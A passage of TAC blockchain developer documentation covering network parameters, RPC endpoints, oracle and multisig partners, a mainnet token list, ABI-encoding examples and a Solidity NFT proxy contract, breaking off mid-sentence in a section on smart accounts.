Saint Petersburg Testnet npx hardhat run scripts/deploy.ts --network tacTestnet ``` ```bash theme={null} # Deploy to TAC Mainnet (production) npx hardhat run scripts/deploy.ts --network tacMainnet ``` ## Common Issues & Solutions **Problem**: RPC connection failures or timeouts **Solutions**: * Verify RPC URLs are correct * Increase timeout in network configuration ```javascript theme={null} networks: { tacTestnet: { url: "https://spb.rpc.tac.build", timeout: 60000, // Increase timeout } } ``` * Try alternative RPC endpoints if available # Tenderly Source: https://docs.tac.build/ecosystem/development-tools/tenderly Tenderly is a complete, full-stack Web3 infrastructure solution for the entire dapp lifecycle, from development to on-chain scaling. # Thirdweb Source: https://docs.tac.build/ecosystem/development-tools/thirdweb Thirdweb is a complete web3 development toolkit, built by developers for web3 developers. With powerful built-in tools, such as wallet infrastructure, web3 payment solutions & authentication methods, thirdweb has everything you need to build powerful web3 apps in no time. > # Faucet Source: https://docs.tac.build/ecosystem/faucet Get testnet `TAC` and `TON` The TAC faucet provides free testnet TAC tokens for gas fees and testing your hybrid dApps on the Saint Petersburg testnet. Simple wallet connection and instant token distribution for seamless development. ## Available Faucet Get free testnet `TAC` for gas fees, contract deployment Get free testnet `TON` to initiate cross-chain transactions ## Quick Links Add Saint Petersburg testnet to your wallet with RPC endpoint `https://spb.rpc.tac.build` and Chain ID `2391` before requesting tokens. Use testnet tokens for contract deployment, transaction testing, and hybrid dApp development without real value at risk. For large-scale testing or educational purposes, reach out on [Telegram](https://t.me/TACbuild) for additional token allocation. # Ecosystem Source: https://docs.tac.build/ecosystem/index TAC's ecosystem partners providing oracles, interoperability, data indexing, development tools, and infrastructure TAC works with established partners across the blockchain ecosystem to provide developers with proven tools and services for building hybrid dApps. Find more partners on our [main page](https://tac.build/tacnetwork). ## Infrastructure The core TAC-maintained building blocks. ## Oracles Services that provide smart contracts with access to external, real-world data and off-chain price feeds. ## Interoperability Protocols and bridges that enable seamless communication and asset transfers between different blockchain networks. ## Data and Indexers Tools used to organize and query blockchain data efficiently, making it easier for applications to display user activity and history. ## Development Tools A suite of frameworks and platforms designed to streamline the building, testing, and deployment of smart contracts. ## Multisig Wallets Secure digital wallets that require multiple authorized signatures to approve a transaction, enhancing fund safety. ## RPCs Infrastructure providers that offer the necessary endpoints to interact with the blockchain. ## Community Resources Tools and resources built by the community. Resources and tools for TAC Validators # Hyperlane Source: https://docs.tac.build/ecosystem/interoperability/hyperlane Hyperlane is live on TAC and already onboarded some assets. Refer to [Noon](https://app.noon.capital/bridge) with Hyperlane as a provider to bridge to/from TAC. # LayerZero Source: https://docs.tac.build/ecosystem/interoperability/layerzero LayerZero works with asset issuers, chains, and applications to make money more extensible. Issue any asset on chain, extend its reach to new ecosystems, connect fragmented liquidity and more. # Safe Source: https://docs.tac.build/ecosystem/multi-sig-wallets/safe Deploy secure multi-signature wallets on TAC with Safe's battle-tested smart contracts Safe (formerly Gnosis Safe) is a multi-signature wallet that requires multiple signatures to execute transactions. Instead of one private key controlling funds, Safe requires M-of-N signatures from designated owners. ## How it works Safe deploys a smart contract that acts as your wallet. You define: * **Owners**: Addresses that can sign transactions * **Threshold**: Number of signatures required (e.g., 2 of 3 owners) When you want to send a transaction, enough owners must sign it before execution. Safe deployment on TAC is provided by **Protofire**. Protofire is the official partner of the Safe Team. ## Features * **Configurable thresholds**: Change owners and signature requirements * **Spending limits**: Set daily limits for specific tokens * **Transaction batching**: Execute multiple operations in one transaction * **Module system**: Add custom logic through Safe modules ## Setup Navigate to [safe.tac.build](https://safe.tac.build) to access the Safe interface for TAC Connect your preferred wallet (MetaMask, WalletConnect, etc.) to the TAC network Click "Create new Safe" and configure your multi-sig parameters: Add owner addresses Set signature threshold (e.g., 2 of 3, 3 of 5) Choose a name for your Safe Deploy your Safe contract and fund it with your desired assets Make sure all owner addresses are accessible and secure. Lost access to required owner keys can result in locked funds. # TON Multisig Source: https://docs.tac.build/ecosystem/multi-sig-wallets/ton-multisig Create multi-signature wallets on TON blockchain TON Multisig is a multi-signature wallet solution for the TON blockchain that requires multiple signatures to execute transactions. It uses TON's native smart contracts to provide secure shared custody. ## How it works TON Multisig deploys a smart contract on TON that requires multiple signatures before executing transactions. You configure: * **Signers**: Addresses that can sign transactions * **Proposers**: Addresses that can propose new transactions * **Threshold**: Number of signatures required for execution ## Setup Go to [multisig.ton.org](https://multisig.ton.org) Click "Add signer" and input TON addresses that can sign transactions Click "Add proposer" and input TON addresses that can propose transactions Set the number of signatures required to execute transactions Click "Create" to deploy the multisig contract Ensure all signer and proposer addresses are accessible. Lost access to required keys can lock your funds. ## Usage Once deployed, your multisig works as follows: 1. **Proposer** submits a transaction proposal 2. Required number of **signers** approve the proposal 3. Transaction executes automatically once threshold is met This provides secure shared custody for TON assets without requiring complex coordination between parties. # Network Details Source: https://docs.tac.build/ecosystem/network-info The chain parameters for TAC networks ## Network Configuration **TAC Mainnet** - Production network for live applications | Parameter | Value | | ------------------- | -------------------------------------------------------- | | **Network Name** | TAC Mainnet | | **RPC Endpoint** | `https://rpc.tac.build` | | **Chain ID** | `239` | | **Currency Symbol** | TAC | | **Block Explorer** | [https://explorer.tac.build](https://explorer.tac.build) | | **Fee Schema** | EIP-1559 | | **Block Time** | \< 2 seconds | ### Quick Add to Wallet ```json theme={null} { "chainId": "0xEF", "chainName": "TAC Mainnet", "rpcUrls": ["https://rpc.tac.build"], "nativeCurrency": { "name": "TAC", "symbol": "TAC", "decimals": 18 }, "blockExplorerUrls": ["https://explorer.tac.build"] } ``` **TAC Saint Petersburg Testnet** - Current recommended testnet for development | Parameter | Value | | ------------------- | ---------------------------------------------------------------- | | **Network Name** | TAC Saint Petersburg Testnet | | **RPC Endpoint** | `https://spb.rpc.tac.build` | | **Chain ID** | `2391` | | **Currency Symbol** | TAC | | **Block Explorer** | [https://spb.explorer.tac.build](https://spb.explorer.tac.build) | | **Fee Schema** | EIP-1559 | | **Block Time** | \< 2 seconds | | **Faucet** | [https://spb.faucet.tac.build](https://spb.faucet.tac.build) | ### Quick Add to Wallet ```json theme={null} { "chainId": "0x957", "chainName": "TAC Saint Petersburg Testnet", "rpcUrls": ["https://spb.rpc.tac.build"], "nativeCurrency": { "name": "TAC", "symbol": "TAC", "decimals": 18 }, "blockExplorerUrls": ["https://spb.explorer.tac.build"] } ``` ## Getting Testnet Tokens Refer to [Faucet page](/ecosystem/faucet) ## Common Integration Issues **Adding TAC Networks:** 1. Open MetaMask settings 2. Go to "Networks" → "Add Network" 3. Use the network parameters above 4. Save and switch to the new network **Common Issues:** * Ensure Chain ID is entered as a number (239, 2391) * Verify RPC URLs are correct * Check that you're using the latest MetaMask version **Verification Steps:** 1. Deploy your contract to the network 2. Wait for a few block confirmations 3. Use Hardhat's verify plugin or manual verification 4. Check the block explorer for verification status **Troubleshooting:** * Ensure exact constructor arguments * Verify Solidity version matches * Check that libraries are linked correctly # APRO Source: https://docs.tac.build/ecosystem/oracles/apro APRO is building a secure platform by combining off-chain processing with on-chain verification, extending both data access and computational capabilities. This forms the foundation of APRO Data Service, improving data accuracy and efficiency while offering the flexibility to create custom solutions tailored to the specific needs of DApp businesses. ## Available Price Feeds Up to date price feeds from the official docs: ## Data Push APRO's threshold-based data updates use a "Push-Based" model. In this model, decentralized independent node operators continuously aggregate and push data updates to the blockchain when specific price thresholds or heartbeat intervals are reached. This approach enhances blockchain scalability, supports a broader range of data products, and ensures timely updates. ## Getting Started Please refer to the APRO official docs [here](https://docs.apro.com/en/data-push/getting-started). # EO Source: https://docs.tac.build/ecosystem/oracles/eo EO delivers high-stakes data through a decentralized, modular system purpose-built for security and reliability with a network of 140+ validators, backed by over \$2M in restaked ETH. Trusted by leading curators and money markets, EO powers price feeds across 25+ chains, enabling liquidity for RWAs, PT tokens, LP tokens, synthetic assets, and novel stablecoins. ## Available Price Feeds | Feed | Network | Address | | ---------- | ------- | --------------------------------------------------------------------------------------------------------------------------- | | BTC/USD | Mainnet | [0x98BFa01a561d01f7d6ACbcBea71e20b1cAF0D08c](https://explorer.tac.build/address/0x98BFa01a561d01f7d6ACbcBea71e20b1cAF0D08c) | | ETH/USD | Mainnet | [0x5716b9982f3873959a9c6c6aB0F55F10C4EE888E](https://explorer.tac.build/address/0x5716b9982f3873959a9c6c6aB0F55F10C4EE888E) | | USDC/USD | Mainnet | [0x388C2CE48DE519fB57FfDd4b73C2755DCBD6e5DE](https://explorer.tac.build/address/0x388C2CE48DE519fB57FfDd4b73C2755DCBD6e5DE) | | USDT/USD | Mainnet | [0x1B4D2eD5Cc36480c9ed2d86cdd26818c01A494F8](https://explorer.tac.build/address/0x1B4D2eD5Cc36480c9ed2d86cdd26818c01A494F8) | | yUSD/USDC | Mainnet | [0x73cfdD7f1579b4EF4A3F007165E510428De3b3B0](https://explorer.tac.build/address/0x73cfdD7f1579b4EF4A3F007165E510428De3b3B0) | | LBTC/USD | Mainnet | [0xaeA46DaFFe5E1A1eDd241AEB9600933e92433B9f](https://explorer.tac.build/address/0xaeA46DaFFe5E1A1eDd241AEB9600933e92433B9f) | | TON/USD | Mainnet | [0x22443469b815Ac2497588F39ECc0525fBa8Af461](https://explorer.tac.build/address/0x22443469b815Ac2497588F39ECc0525fBa8Af461) | | cbBTC/USD | Mainnet | [0xaE5Dc951d55535679252Cff49E89Af8cEcbf5E1f](https://explorer.tac.build/address/0xaE5Dc951d55535679252Cff49E89Af8cEcbf5E1f) | | rsETH/ETH | Mainnet | [0xC2A8dc68d3F0EFe893FAab3D5414C18CAEDB58F5](https://explorer.tac.build/address/0xC2A8dc68d3F0EFe893FAab3D5414C18CAEDB58F5) | | wstETH/ETH | Mainnet | [0x6a7c5E1453eD56B89ce05aDad746dcE01723E986](https://explorer.tac.build/address/0x6a7c5E1453eD56B89ce05aDad746dcE01723E986) | ## Integration Find the integration guide in the official docs [here](https://docs.eo.app/docs/eprice/integration-guide). # RedStone Source: https://docs.tac.build/ecosystem/oracles/redstone RedStone delivers frequently updated, reliable, and diverse data feeds for your dApp on TAC. RedStone is unique in many aspects, three notable ones are: * The most gas-optimized oracle (make your dApp scalable) * Unique price feeds (including LSTs, LRTs, RWAs and TAC-native assets) * Modular Oracle Design allows for flexibility towards user needs RedStone operates in two models **Push** and **Pull** both available on TAC. ## Available Price Feeds Up to date TAC price feeds from the official docs: ## How to integrate [RedStone Push](https://docs.redstone.finance/docs/dapps/redstone-push/)? The RedStone Push model ensures that data is pushed into onchain storage via a relayer. Dedicated to protocols designed for the traditional Push Oracles model, that want to have full control of the data source and update conditions (heartbeat and deviation threshold). Push model is available on both TAC Testnet & Mainnet. ## How to integrate [RedStone Pull](https://docs.redstone.finance/docs/dapps/redstone-pull/)? The RedStone Pull model allows your dApp to utilize data feeds delivered “on-demand”, only when the data is needed. Thanks to the implementation of the EVM-connector library and extending your Ethers.js, your dApp will be able to attach signed data packages with timestamps to call data of your users’ transactions. Please see the specific steps and ready code samples in the [Docs](https://docs.redstone.finance/docs/introduction). If you need help with integration join RedStone [Discord](http://redstone.finance/discord) and ask their team for help. # Stork Source: https://docs.tac.build/ecosystem/oracles/stork Stork is an oracle protocol that enables sub-second data feeds onchain. Stork's full documentation is available [here](https://docs.stork.network). ## How does it work? Stork is implemented as a pull oracle. Stork continuously aggregates data from our decentralized publisher network, verifies that data, audits it, then makes that data available. This data can then be pulled onto TAC via the Stork contract, and then used by any EVM application on TAC. For more information, please refer to [How It Works](https://docs.stork.network/introduction/how-it-works). ## Quickstart Using Stork on TAC requires two primary steps: 1. **Pulling data** from Stork and putting it onchain via the Stork contract when it's needed. 2. **Reading data** from the Stork contract in your EVM contract. ### Pulling Data from Stork The easiest way to pull data from Stork and make it available onchain is to use the Stork Chain Pusher and configure it to push any relevant assets to TAC. The Stork Chain Pusher will automatically listen to the Stork aggregator websocket, and push that data to the Stork contract on TAC whenever certain conditions are met. The following conditions are supported and can be combined: 1. **Percentage Change**: Push data when the price changes by a certain percentage. 2. **Time Interval**: Push data at a regular interval. For more information on how to use the Stork Chain Pusher, please refer to [Putting Data onchain](https://docs.stork.network/introduction/putting-data-onchain). ### Reading Data from the Stork Contract Reading from the Stork contract is as simple as calling its `getTemporalNumericValueV1(bytes32 id)` function from your contract. This function takes an encoded asset ID of the relevant asset and returns the latest value for that asset in the form of a `TemporalNumericValue` struct, which contains an integer value (multiplied by 10^18 for precision) and a UNIX nanosecond timestamp. For more information on how to read data from the Stork contract, please refer to the [EVM Contract API](https://docs.stork.network/api-reference/contract-apis/evm). # Ankr Source: https://docs.tac.build/ecosystem/rpcs/ankr Leading provider of blockchain infrastructure, offering a range of services including RPC nodes, indexing, and analytics ## TAC Network RPC Infrastructure TAC offers full EVM compatibility through its Layer 1 blockchain. For reliable development and production environments, we've partnered with Ankr to provide enterprise-grade RPC infrastructure. ## Official Ankr RPC Endpoints As our main RPC provider, Ankr delivers high-availability infrastructure specifically optimized for TAC Network: | Type | Network | Endpoint | | -------- | ----------- | ------------------------------------------------------------- | | JSON-RPC | Mainnet | [https://rpc.ankr.com/tac](https://rpc.ankr.com/tac) | | JSON-RPC | SPB Testnet | [https://rpc.ankr.com/tac\_spb](https://rpc.ankr.com/tac_spb) | ## Integration Steps The TAC Network supports multiple access methods: * EVM JSON-RPC: For standard Ethereum-compatible development * Tendermint: Direct access to the consensus layer * Cosmos REST/gRPC: For Cosmos SDK-based interactions For EVM application integration using Ankr's RPC services: ``` // Example configuration with ethers.js import { ethers } from 'ethers'; // Connect via Ankr's RPC endpoint const provider = new ethers.providers.JsonRpcProvider('https://rpc.ankr.com/tac_spb'); // Test connection async function checkConnection() { const blockNumber = await provider.getBlockNumber(); console.log(`Connected to TAC network at block: ${blockNumber}`); } ``` Or for deployment on TAC L1 using Foundry ``` forge create --rpc-url https://rpc.ankr.com/tac_spb --private-key YOUR_PRIVATE_KEY_HERE YOUR_CONTRACT --legacy --broadcast ``` ## Testing Your Integration Before production deployment: * Get testnet tokens from the [TAC Faucet](https://spb.faucet.tac.build) * Test transactions through Ankr's RPC endpoints * Monitor performance via the Explorer For enterprise-level support or custom RPC requirements, contact the TAC team directly. # GetBlock Source: https://docs.tac.build/ecosystem/rpcs/getblock GetBlock is a multi-chain RPC provider with managed access to 130+ networks, including TAC mainnet and the SPB (Saint Petersburg) testnet Shared nodes fit prototyping and scalable production traffic; Dedicated Nodes deliver 1,000+ RPS, custom SLAs, and isolated infrastructure for high-traffic Telegram mini-apps, DeFi, and gaming. Archive data is available across both services, including on regular Shared endpoints, so you can query full historical state without provisioning a separate archive node. Use the SPB testnet to validate contract deployments, bridge calls, and wallet flows against TAC before going to mainnet. Nodes run from New York, Frankfurt, and Singapore for low-latency access across the US, Europe, and Asia. # Token List Source: https://docs.tac.build/ecosystem/token-list Official (but not extensive) token registry for TAC Mainnet The table below contains the canonical Token List for the TAC Mainnet (Chain ID: 239), providing standardized token metadata for wallets, DEXs, and other applications in the TAC ecosystem. To add/request a new asset, please refer to this [Github Repo](https://github.com/TacBuild/tokenlist) | Symbol | Name | Address | Decimals | Tags | Jetton | Extensions | | ------ | ------------------------------- | ------------------------------------------ | -------- | ---------------------------------------- | --------------------------------------------------- | --------------------------------------------------------- | | TAC | TAC Token | 0xeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee | 18 | tac-native, yieldbearing | EQBE\_gBrU3mPI9hHjlJoR\_kYyrhQgyCFD6EUWfa42W8T7EBP | oftAdapterBSC: 0x1219c409faBe2C27Bd0D1A565daeed9Bd9f271dE | | WTAC | Wrapped TAC | 0xB63B9f0eb4A6E6f191529D71d4D88cc8900Df2C9 | 18 | tac-native, yieldbearing | EQCXZSXYW1iUldSjo7OInor3-WD1cXzLQdhKocq\_fI5fh\_BR | - | | TON | TON Token | 0xb76d91340F5CE3577f0a056D29f6e3Eb4E88B140 | 9 | ton-native, yieldbearing | - | - | | WETH | Wrapped Ether | 0x61D66bC21fED820938021B06e9b2291f3FB91945 | 18 | eth, tac-lz-bridged | EQBTkLAhEteZCRgRe\_xMs5ZE0bMrduYxKbyzGCpXXW8dRWOT | oftAdapterETH: 0xf211D3B40A74632162F45F4d42A461b663694a9D | | wstETH | Wrapped liquid staked Ether 2.0 | 0xAf368c91793CB22739386DFCbBb2F1A9e4bCBeBf | 18 | eth, tac-lz-bridged, yieldbearing | EQCrLRrwzV1gdV466gQpRXgGukNik3VExFg955ncWQiFN\_f5 | oftAdapterETH: 0x6ceA302B297bB8C49E56d04cC080480822795848 | | cbBTC | Coinbase Wrapped BTC | 0x7048c9e4aBD0cf0219E95a17A8C6908dfC4f0Ee4 | 8 | btc, tac-lz-bridged | EQDhyPzbIjJT\_WnY3gGprjSYUK9fiGMjWMezxO8MZiUdfb\_B | oftAdapterETH: 0x59Ea2825d8Ad7D60cC6Aa77FFbDD0E89c0fBF539 | | USD₮ | Tether USD | 0xAF988C3f7CB2AceAbB15f96b19388a259b6C438f | 6 | stablecoin, ton-native | EQCxE6mUtQJKFnGfaROTKOt1lZbDiiX1kCixRv7Nw2Id\_sDs | - | | tsTON | Tonstakers TON | 0xD44F691aeD69fe43180B95b6F82f89c18Fb93094 | 9 | ton, ton-native, yieldbearing | EQC98\_qAmNEptUtPc7W6xdHh\_ZHrBUFpw5Ft\_IzNU20QAJav | - | | bmTON | Bemo | 0x20512cF15E60242aB5237E0A76c873a338281397 | 9 | ton, ton-native, yieldbearing | EQCSxGZPHqa3TtnODgMan8CEM0jf6HpY-uon\_NMeFgjKqkEY | - | | WIF | dogwifhat | 0x27e4Ade13d78Aad45bea31D448f5504031e4871E | 18 | tac-lz-bridged | EQBMeWeS3MGYYRKGFnWpiLRCX9IKrRa-LvbBAr8z9vDxAZ97 | - | | LBTC | Lombard Staked Bitcoin | 0xecAc9C5F704e954931349Da37F60E39f515c11c1 | 8 | tac-lz-bridged, btc, yieldbearing | EQBGpvzFLsoQKsJDCdXt4PBEFGj2uhSx\_ERsYHkEk3KUqOQg | - | | USN | USN | 0x51A30E647D33A044967FA3DBb04d6ED6F45455F6 | 18 | tac-hl-bridged, stablecoin | EQAdkcaiUMwAOcMzfW2m2mke3G4RdDkL4Dd4gfgsJNPxMwOD | - | | sUSN | Staked USN | 0x5Ced7F73B76A555CCB372cc0F0137bEc5665F81E | 18 | tac-hl-bridged, stablecoin, yieldbearing | EQA4c6ShGataepF-sBnP\_teO1tZcURcQBzyeVliV3i0LImZh | - | | USD0 | Usual USD | 0x9bB6983Ca454320BD8691409690B4FCCD489EE96 | 18 | tac-lz-bridged, stablecoin | EQAzlv9Ljh39jguSBJw257nJMx40qg6Z2cjOrXEmIamjMm1m | - | | USD0++ | USD0 Liquid Bond | 0x1791BAff6a5e2F2A1340e8B7C1EA2B0c1E2DD1ea | 18 | tac-lz-bridged, stablecoin, yieldbearing | EQDLLM06LS3S8R01zbmOuKZIfZxBixsv8bKXtIsQ8NYJmLsd | - | | USR | Resolv USD | 0xb1b385542B6E80F77B94393Ba8342c3Af699f15c | 18 | tac-lz-bridged, stablecoin | EQAcY5ASRQdN1UmM9BMxYyNEfXB3ywcsQ4FkFT2DJdzvwyFx | - | | RLP | Resolv Liquidity Provider Token | 0x35533f54740F1F1aA4179E57bA37039dfa16868B | 18 | tac-lz-bridged, stablecoin, yieldbearing | EQCjlNsHFSAStF2FWFF5oyxwKomAeiRDqkSd1cLMIEeQ1pvd | - | | wstUSR | Wrapped Staked USR | 0x2a52B289bA68bBd02676640aA9F605700c9e5699 | 18 | tac-lz-bridged, stablecoin, yieldbearing | EQBqn2jmZ5LiDUG4mTs28uZsTsoZuTBT2O\_6Sd4icJw9HTrr | - | | M-BTC | Merlin's Seal BTC | 0xe82dbD543FD729418613d68Cd1E8FC67b0f46E31 | 18 | tac-lz-bridged, btc | EQB7UZz\_r1mBLZ\_DwaHy-hDgKUFQbc\_R6cVpignE4Efes5-R | - | # Block Explorer Source: https://docs.tac.build/explorer/overview Explore TAC blockchain data with our custom Blockscout explorer featuring cross-chain operation tracking TAC uses a custom version of Blockscout that includes specialized features for tracking cross-chain operations and transactions between TON and TAC EVM. This enhanced explorer provides visibility into both standard EVM transactions and TAC's unique hybrid dApp functionality. ## Available Explorers Get your tokens on the [Faucet](https://spb.faucet.tac.build) ## Features Our custom Blockscout implementation includes additional functionality designed specifically for TAC's hybrid dApp ecosystem: * Monitor cross-chain transactions as they progress through the TON Adapter system, including stage progression and completion status (**Operations** section). * View connections between TON-side transactions and their corresponding EVM executions. * Track token movements between TON and TAC EVM. * Complete transaction information including gas usage, status, and event logs. * Contract verification, source code viewing, and interaction interfaces. * Real-time network metrics, block information, and validator activity. * Both explorers provide standard Blockscout API endpoints for programmatic access to blockchain data and contract interactions. # Introduction Source: https://docs.tac.build/index Meet the next generation of documentation. AI-native, beautiful out-of-the-box, and built for developers.
# TAC Documentation

Build hybrid dApps that connect EVM smart contracts to TON's 1 billion users. Deploy your Solidity code and let TON wallet users interact directly - no bridges, no complexity.

# Argument Encoding Source: https://docs.tac.build/proxies/advanced-custom-proxy/argument-encoding Advanced patterns for encoding complex data structures on your frontend TAC proxy functions receive their parameters as ABI-encoded bytes. This guide shows the encoding patterns for different data structure complexities. All proxy functions must follow the signature `function name(bytes calldata tacHeader, bytes calldata arguments)`. The `arguments` parameter contains your custom ABI-encoded data. ## Simple Parameters Parameters without structure: ```solidity theme={null} address tokenFrom; address tokenTo; uint256 amount; ``` Frontend **encoding** example using `ethers`: ```javascript theme={null} import { ethers } from "ethers"; const abiCoder = ethers.AbiCoder.defaultAbiCoder(); const myProxyFunctionArguments = abiCoder.encode( ['address', 'address', 'uint256'], [tokenFromAddress, tokenToAddress, tokenFromAmount] ); ``` And the associated **decoding** example in Solidity: ```solidity theme={null} (address tokenFromAddress, address tokenToAddress, uint256 tokenFromAmount) = abi.decode(arguments, (address, address, uint256)); ``` Parameters within structure: ```solidity theme={null} struct MyProxyFunctionArguments { address tokenFrom; address tokenTo; uint256 amount; } ``` Frontend **encoding** example using `ethers`: ```javascript theme={null} import { ethers } from "ethers"; const abiCoder = ethers.AbiCoder.defaultAbiCoder(); const myProxyFunctionArguments = abiCoder.encode( ['tuple(address,address,uint256)'], [[tokenFromAddress, tokenToAddress, tokenFromAmount]] ); ``` And the associated **decoding** example in Solidity: ```solidity theme={null} MyProxyFunctionArguments memory args = abi.decode(arguments, (MyProxyFunctionArguments)); ``` ## Advanced Parameters Parameters in structs containing other structs: ```solidity theme={null} struct AnyExtraInfo { address feeCollector; uint256 feeRate; } struct MyProxyFunctionArguments { AnyExtraInfo extraInfo; address tokenFrom; address tokenTo; uint256 amount; } ``` Frontend **encoding** example using `ethers`: ```javascript theme={null} const extraInfo = [feeCollectorAddress, feeRate]; const myProxyFunctionArguments = abiCoder.encode( ["tuple(tuple(address,uint256),address,address,uint256)"], [[extraInfo, tokenFromAddress, tokenToAddress, tokenAmount]] ); ``` And the associated **decoding** example in Solidity: ```solidity theme={null} MyProxyFunctionArguments memory args = abi.decode(arguments, (MyProxyFunctionArguments)); ``` Parameters in dynamic arrays: ```solidity theme={null} struct MyProxyFunctionArguments { address[] path; uint256 amount; } ``` Frontend **encoding** example using `ethers`: ```javascript theme={null} const path = [tokenFromAddress, tokenToAddress]; const myProxyFunctionArguments = abiCoder.encode( ["tuple(address[],uint256)"], [[path, tokenFromAmount]] ); ``` And the associated **decoding** example in Solidity: ```solidity theme={null} MyProxyFunctionArguments memory args = abi.decode(arguments, (MyProxyFunctionArguments)); ``` ## TAC SDK Integration When using the TAC SDK to create messages for bridging, you must provide: * **target**: the address of your Proxy contract * **method\_name**: the complete function signature, e.g. `"myProxyFunction(bytes,bytes)"` * **arguments**: the ABI-encoded arguments (second parameter in your proxy function) * **gasLimit** (optional): the parameter that will be passed to the TAC side. The executor must allocate at least `gasLimit` gas for executing the transaction on the TAC side. If this parameter is not specified, it will be calculated using the `simulateEVMMessage` method (preferred) Example: ```javascript theme={null} const myProxyFunctionName = "myProxyFunction(bytes,bytes)"; const userMessage = { target: MyProxyContractAddress, method_name: myProxyFunctionName, arguments: myProxyFunctionArguments, // from the previous encoding step gasLimit?: // optional }; ``` ## What's Next? Still have questions after reading the **Advanced Custom Proxy** guide? Check out the comprehensive documentation to find the answers you need. Developer documentation within `@tonappchain/evm-ccl` NPM-package You can also reach out to our developer community in [Telegram](https://t.me/TACbuild). # NFT Support Source: https://docs.tac.build/proxies/advanced-custom-proxy/nft-support Learn how to handle NFTs in TAC proxy contracts with cross-chain bridging TAC proxy contracts can receive, process, and bridge NFTs between TON and EVM networks. This guide shows the example implementation patterns. NFT proxy contracts must inherit from `IERC721Receiver` and implement the required `onERC721Received` function to correctly receive ERC-721 tokens. ## NFT Proxy Implementation The NFT proxy contract must inherit from `IERC721Receiver` and implement the required `onERC721Received` function to correctly receive ERC‑721 tokens. ```solidity theme={null} // SPDX-License-Identifier: MIT pragma solidity ^0.8.28; import { IERC721 } from "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import { IERC721Receiver } from "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol"; import { TacProxyV1 } from "@tonappchain/evm-ccl/contracts/proxies/TacProxyV1.sol"; import { TacHeaderV1, TokenAmount, NFTAmount, OutMessageV1 } from "@tonappchain/evm-ccl/contracts/core/Structs.sol"; contract TestNFTProxy is TacProxyV1, IERC721Receiver { constructor(address crossChainLayer) TacProxyV1(crossChainLayer) {} /** * @dev Handles the receipt of an ERC-721 token. * * Returns its Solidity selector to confirm the token transfer. */ function onERC721Received( address, address, uint256, bytes calldata ) external pure override(IERC721Receiver) returns (bytes4) { return this.onERC721Received.selector; } /** * @dev Receives NFTs bridged from TON. */ function receiveNFT(bytes calldata tacHeader, bytes calldata arguments) external _onlyCrossChainLayer { // this arguments just for example, you can define your own NFTAmount[] memory nfts = abi.decode(arguments, (NFTAmount[])); for (uint i = 0; i < nfts.length; i++) { IERC721(nfts[i].evmAddress).approve(_getCrossChainLayerAddress(), nfts[i].tokenId); } TacHeaderV1 memory header = _decodeTacHeader(tacHeader); // Bridge NFT back by creating an OutMessageV1 OutMessageV1 memory outMessage = OutMessageV1( header.shardsKey, header.tvmCaller, "", 0, // roundTripMessages don't require tvmProtocolFee as it's already paid on TON 0, // roundTripMessages don't require tvmExecutorFee as it's already paid on TON new string[](0), // no need to specify validExecutors as it's already specified in initial tx on TON new TokenAmount[](0), // No ERC20 tokens bridged nfts // NFTs to bridge (the 'amount' field is ignored for ERC721) ); _sendMessageV1(outMessage, 0); // 0 TACs to send back } } ``` ## Test ERC‑721 Token Contract For testing purposes, you can use this simple ERC-721 implementation: ```solidity theme={null} // SPDX-License-Identifier: MIT pragma solidity ^0.8.28; import { ERC721 } from "@openzeppelin/contracts/token/ERC721/ERC721.sol"; contract TestERC721Token is ERC721 { string private __baseURI; constructor(string memory _name, string memory _symbol, string memory baseURI) ERC721(_name, _symbol) { __baseURI = baseURI; } function mint(address _to, uint256 _tokenId) external { _mint(_to, _tokenId); } function _baseURI() internal view override returns (string memory) { return __baseURI; } } ``` ## Key Implementation Points ### 1. Required Inheritance ```solidity theme={null} contract TestNFTProxy is TacProxyV1, IERC721Receiver { ``` * Must inherit from both `TacProxyV1` and `IERC721Receiver` * Order of inheritance matters for proper functionality ### 2. `onERC721Received` Implementation ```solidity theme={null} function onERC721Received( address, address, uint256, bytes calldata ) external pure override(IERC721Receiver) returns (bytes4) { return this.onERC721Received.selector; } ``` * **Must** return the correct selector to confirm token receipt * Without this, NFT transfers to your contract will fail ### 3. NFT Approval Pattern ```solidity theme={null} for (uint i = 0; i < nfts.length; i++) { IERC721(nfts[i].evmAddress).approve(_getCrossChainLayerAddress(), nfts[i].tokenId); } ``` * Approve each NFT individually by tokenId before cross-chain transfer * Use `_getCrossChainLayerAddress()` to get the correct approval target ### 4. `OutMessageV1` Structure for NFTs ```solidity theme={null} OutMessageV1 memory outMessage = OutMessageV1( header.shardsKey, // Use from incoming header header.tvmCaller, // Send back to caller "", // Must be empty 0, // roundTrip - already paid on TON 0, // roundTrip - already paid on TON new string[](0), // roundTrip - already defined on TON new TokenAmount[](0), // No ERC20 tokens nfts // NFTs to bridge ); ``` ### 5. `NFTAmount` Structure The `NFTAmount` struct contains: * `evmAddress` - The NFT contract address * `tokenId` - The specific token ID * `amount` - Ignored for ERC721 (always 0) ## Function Signature Requirements NFT proxy functions follow the same signature requirements as regular proxy functions: ```solidity theme={null} function receiveNFT(bytes calldata tacHeader, bytes calldata arguments) external _onlyCrossChainLayer { // Implementation } ``` You can name the function whatever you want (e.g., `processNFT`, `handleNFT`, etc.) as long as it follows the `function (bytes calldata, bytes calldata) external` pattern. ## Argument Encoding for NFTs When calling NFT proxy functions from the frontend, encode the `NFTAmount` array: ```javascript theme={null} // Example: Encoding NFTAmount[] const nftAmounts = [ [nftContractAddress1, tokenId1, 0], // amount is always 0 for ERC-721 [nftContractAddress2, tokenId2, 0], ]; const encodedArguments = ethers.AbiCoder.defaultAbiCoder().encode( ["tuple(address,uint256,uint256)[]"], [nftAmounts] ); const userMessage = { target: nftProxyAddress, method_name: "receiveNFT(bytes,bytes)", arguments: encodedArguments, }; ``` # Smart Accounts Source: https://docs.tac.build/proxies/advanced-custom-proxy/smart-accounts Smart accounts for TAC enabling programmable wallets and advanced transaction patterns Smart accounts (also known as *Account abstraction*) are used on TAC to solve two key problems: 1. **User separation** — without smart accounts, a dApp message sender on the proxy side is effectively always the proxy itself, so it’s hard to distinguish one user from another. 2. **Separate asset storage** — user assets are kept in a dedicated smart account, so funds don’t mix into one proxy balance and can wait there until they’re needed. **Contract Addresses**: Find the latest *Smart Account Factory* and *Smart Account Blueprint* addresses for both testnet and mainnet on the [Contract Addresses](/ecosystem/contract-addresses) page. ## Core Concept TAC uses a **shared factory approach** where: * There is **one factory instance** (Smart Account Factory) deployed on the 